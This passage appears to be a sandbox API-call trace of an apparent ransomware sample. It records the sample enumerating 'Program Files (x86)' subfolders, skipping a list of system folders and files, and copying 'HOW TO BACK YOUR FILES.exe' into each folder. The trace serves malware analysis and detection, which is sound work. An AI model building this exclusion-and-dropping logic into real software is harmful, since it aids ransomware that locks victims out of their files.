[0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2=".") returned 1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="..") returned 1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="windows") returned -1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="bootmgr") returned 1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="temp") returned -1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="pagefile.sys") returned -1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="boot") returned 1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="ids.txt") returned 1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="ntuser.dat") returned -1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="perflogs") returned -1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="MSBuild") returned -1 [0034.471] lstrlenW (lpString="Microsoft Office") returned 16 [0034.471] lstrcpyW (in: lpString1=0x241e876, lpString2="Microsoft Office" | out: lpString1="Microsoft Office") returned="Microsoft Office" [0034.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5a8 [0034.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x515df0 [0034.471] lstrcatW (in: lpString1="Microsoft Office", lpString2="\\" | out: lpString1="Microsoft Office\\") returned="Microsoft Office\\" [0034.471] lstrcatW (in: lpString1="Microsoft Office\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Office\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Office\\HOW TO BACK YOUR FILES.exe" [0034.471] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.474] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xacb45a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xacb45a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Visual Studio 8", cAlternateFileName="MICROS~3")) returned 1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2=".") returned 1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="..") returned 1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="windows") returned -1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="bootmgr") returned 1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="temp") returned -1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="pagefile.sys") returned -1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="boot") returned 1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="ids.txt") returned 1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="ntuser.dat") returned -1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="perflogs") returned -1 [0034.475] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="MSBuild") returned -1 [0034.475] lstrlenW (lpString="Microsoft Visual Studio 8") returned 25 [0034.475] lstrcpyW (in: lpString1=0x241e876, lpString2="Microsoft Visual Studio 8" | out: lpString1="Microsoft Visual Studio 8") returned="Microsoft Visual Studio 8" [0034.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5c0 [0034.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x50ea08 [0034.475] lstrcatW (in: lpString1="Microsoft Visual Studio 8", lpString2="\\" | out: lpString1="Microsoft Visual Studio 8\\") returned="Microsoft Visual Studio 8\\" [0034.475] lstrcatW (in: lpString1="Microsoft Visual Studio 8\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Visual Studio 8\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Visual Studio 8\\HOW TO BACK YOUR FILES.exe" [0034.475] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.479] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xac6109e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac6109e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0034.479] lstrcmpiW (lpString1="Microsoft.NET", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.479] lstrcmpiW (lpString1="Microsoft.NET", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.479] lstrcmpiW (lpString1="Microsoft.NET", lpString2=".") returned 1 [0034.479] lstrcmpiW (lpString1="Microsoft.NET", lpString2="..") returned 1 [0034.479] lstrcmpiW (lpString1="Microsoft.NET", lpString2="windows") returned -1 [0034.479] lstrcmpiW (lpString1="Microsoft.NET", lpString2="bootmgr") returned 1 [0034.479] lstrcmpiW (lpString1="Microsoft.NET", lpString2="temp") returned -1 [0034.480] lstrcmpiW (lpString1="Microsoft.NET", lpString2="pagefile.sys") returned -1 [0034.480] lstrcmpiW (lpString1="Microsoft.NET", lpString2="boot") returned 1 [0034.480] lstrcmpiW (lpString1="Microsoft.NET", lpString2="ids.txt") returned 1 [0034.480] lstrcmpiW (lpString1="Microsoft.NET", lpString2="ntuser.dat") returned -1 [0034.480] lstrcmpiW (lpString1="Microsoft.NET", lpString2="perflogs") returned -1 [0034.480] lstrcmpiW (lpString1="Microsoft.NET", lpString2="MSBuild") returned -1 [0034.480] lstrlenW (lpString="Microsoft.NET") returned 13 [0034.480] lstrcpyW (in: lpString1=0x241e876, lpString2="Microsoft.NET" | out: lpString1="Microsoft.NET") returned="Microsoft.NET" [0034.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5d8 [0034.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x515e48 [0034.480] lstrcatW (in: lpString1="Microsoft.NET", lpString2="\\" | out: lpString1="Microsoft.NET\\") returned="Microsoft.NET\\" [0034.480] lstrcatW (in: lpString1="Microsoft.NET\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft.NET\\HOW TO BACK YOUR FILES.exe") returned="Microsoft.NET\\HOW TO BACK YOUR FILES.exe" [0034.480] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.484] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xac6109e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac6109e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2=".") returned 1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="..") returned 1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="windows") returned -1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="bootmgr") returned 1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="temp") returned -1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="pagefile.sys") returned -1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="boot") returned 1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="ids.txt") returned 1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="ntuser.dat") returned -1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="perflogs") returned -1 [0034.484] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="MSBuild") returned -1 [0034.484] lstrlenW (lpString="Mozilla Firefox") returned 15 [0034.484] lstrcpyW (in: lpString1=0x241e876, lpString2="Mozilla Firefox" | out: lpString1="Mozilla Firefox") returned="Mozilla Firefox" [0034.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5f0 [0034.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x515ea0 [0034.484] lstrcatW (in: lpString1="Mozilla Firefox", lpString2="\\" | out: lpString1="Mozilla Firefox\\") returned="Mozilla Firefox\\" [0034.484] lstrcatW (in: lpString1="Mozilla Firefox\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla Firefox\\HOW TO BACK YOUR FILES.exe") returned="Mozilla Firefox\\HOW TO BACK YOUR FILES.exe" [0034.484] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.487] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xac636b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac636b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~2")) returned 1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="windows") returned -1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="bootmgr") returned 1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="temp") returned -1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="pagefile.sys") returned -1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="boot") returned 1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="ids.txt") returned 1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="ntuser.dat") returned -1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="perflogs") returned -1 [0034.487] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="MSBuild") returned -1 [0034.487] lstrlenW (lpString="Mozilla Maintenance Service") returned 27 [0034.487] lstrcpyW (in: lpString1=0x241e876, lpString2="Mozilla Maintenance Service" | out: lpString1="Mozilla Maintenance Service") returned="Mozilla Maintenance Service" [0034.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9a0 [0034.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x50ea78 [0034.487] lstrcatW (in: lpString1="Mozilla Maintenance Service", lpString2="\\" | out: lpString1="Mozilla Maintenance Service\\") returned="Mozilla Maintenance Service\\" [0034.487] lstrcatW (in: lpString1="Mozilla Maintenance Service\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla Maintenance Service\\HOW TO BACK YOUR FILES.exe") returned="Mozilla Maintenance Service\\HOW TO BACK YOUR FILES.exe" [0034.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.489] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553ced90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0034.489] lstrcmpiW (lpString1="MSBuild", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.489] lstrcmpiW (lpString1="MSBuild", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.489] lstrcmpiW (lpString1="MSBuild", lpString2=".") returned 1 [0034.489] lstrcmpiW (lpString1="MSBuild", lpString2="..") returned 1 [0034.489] lstrcmpiW (lpString1="MSBuild", lpString2="windows") returned -1 [0034.489] lstrcmpiW (lpString1="MSBuild", lpString2="bootmgr") returned 1 [0034.489] lstrcmpiW (lpString1="MSBuild", lpString2="temp") returned -1 [0034.490] lstrcmpiW (lpString1="MSBuild", lpString2="pagefile.sys") returned -1 [0034.490] lstrcmpiW (lpString1="MSBuild", lpString2="boot") returned 1 [0034.490] lstrcmpiW (lpString1="MSBuild", lpString2="ids.txt") returned 1 [0034.490] lstrcmpiW (lpString1="MSBuild", lpString2="ntuser.dat") returned -1 [0034.490] lstrcmpiW (lpString1="MSBuild", lpString2="perflogs") returned -1 [0034.490] lstrcmpiW (lpString1="MSBuild", lpString2="MSBuild") returned 0 [0034.490] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="windows") returned -1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="bootmgr") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="temp") returned -1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="pagefile.sys") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="boot") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ids.txt") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ntuser.dat") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="perflogs") returned 1 [0034.490] lstrcmpiW (lpString1="Reference Assemblies", lpString2="MSBuild") returned 1 [0034.490] lstrlenW (lpString="Reference Assemblies") returned 20 [0034.490] lstrcpyW (in: lpString1=0x241e876, lpString2="Reference Assemblies" | out: lpString1="Reference Assemblies") returned="Reference Assemblies" [0034.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9b8 [0034.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528410 [0034.490] lstrcatW (in: lpString1="Reference Assemblies", lpString2="\\" | out: lpString1="Reference Assemblies\\") returned="Reference Assemblies\\" [0034.490] lstrcatW (in: lpString1="Reference Assemblies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Reference Assemblies\\HOW TO BACK YOUR FILES.exe") returned="Reference Assemblies\\HOW TO BACK YOUR FILES.exe" [0034.490] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8907f814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8907f814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0034.492] lstrcmpiW (lpString1="Uninstall Information", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2=".") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="..") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="windows") returned -1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="bootmgr") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="temp") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="pagefile.sys") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="boot") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="ids.txt") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="ntuser.dat") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="perflogs") returned 1 [0034.493] lstrcmpiW (lpString1="Uninstall Information", lpString2="MSBuild") returned 1 [0034.493] lstrlenW (lpString="Uninstall Information") returned 21 [0034.493] lstrcpyW (in: lpString1=0x241e876, lpString2="Uninstall Information" | out: lpString1="Uninstall Information") returned="Uninstall Information" [0034.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9d0 [0034.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51aff0 [0034.493] lstrcatW (in: lpString1="Uninstall Information", lpString2="\\" | out: lpString1="Uninstall Information\\") returned="Uninstall Information\\" [0034.493] lstrcatW (in: lpString1="Uninstall Information\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Uninstall Information\\HOW TO BACK YOUR FILES.exe") returned="Uninstall Information\\HOW TO BACK YOUR FILES.exe" [0034.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Uninstall Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\uninstall information\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.498] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0034.498] lstrcmpiW (lpString1="Windows Defender", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.498] lstrcmpiW (lpString1="Windows Defender", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.498] lstrcmpiW (lpString1="Windows Defender", lpString2=".") returned 1 [0034.498] lstrcmpiW (lpString1="Windows Defender", lpString2="..") returned 1 [0034.498] lstrcmpiW (lpString1="Windows Defender", lpString2="windows") returned 1 [0034.499] lstrcmpiW (lpString1="Windows Defender", lpString2="bootmgr") returned 1 [0034.499] lstrcmpiW (lpString1="Windows Defender", lpString2="temp") returned 1 [0034.499] lstrcmpiW (lpString1="Windows Defender", lpString2="pagefile.sys") returned 1 [0034.499] lstrcmpiW (lpString1="Windows Defender", lpString2="boot") returned 1 [0034.499] lstrcmpiW (lpString1="Windows Defender", lpString2="ids.txt") returned 1 [0034.499] lstrcmpiW (lpString1="Windows Defender", lpString2="ntuser.dat") returned 1 [0034.499] lstrcmpiW (lpString1="Windows Defender", lpString2="perflogs") returned 1 [0034.499] lstrcmpiW (lpString1="Windows Defender", lpString2="MSBuild") returned 1 [0034.499] lstrlenW (lpString="Windows Defender") returned 16 [0034.499] lstrcpyW (in: lpString1=0x241e876, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender" [0034.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9e8 [0034.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x515ef8 [0034.499] lstrcatW (in: lpString1="Windows Defender", lpString2="\\" | out: lpString1="Windows Defender\\") returned="Windows Defender\\" [0034.499] lstrcatW (in: lpString1="Windows Defender\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Defender\\HOW TO BACK YOUR FILES.exe") returned="Windows Defender\\HOW TO BACK YOUR FILES.exe" [0034.499] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.503] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2=".") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="..") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="windows") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="bootmgr") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="temp") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="pagefile.sys") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="boot") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="ids.txt") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="ntuser.dat") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="perflogs") returned 1 [0034.503] lstrcmpiW (lpString1="Windows Mail", lpString2="MSBuild") returned 1 [0034.503] lstrlenW (lpString="Windows Mail") returned 12 [0034.503] lstrcpyW (in: lpString1=0x241e876, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail" [0034.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da00 [0034.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517438 [0034.503] lstrcatW (in: lpString1="Windows Mail", lpString2="\\" | out: lpString1="Windows Mail\\") returned="Windows Mail\\" [0034.503] lstrcatW (in: lpString1="Windows Mail\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Mail\\HOW TO BACK YOUR FILES.exe") returned="Windows Mail\\HOW TO BACK YOUR FILES.exe" [0034.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.508] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2=".") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="..") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="windows") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="bootmgr") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="temp") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="pagefile.sys") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="boot") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="ids.txt") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", 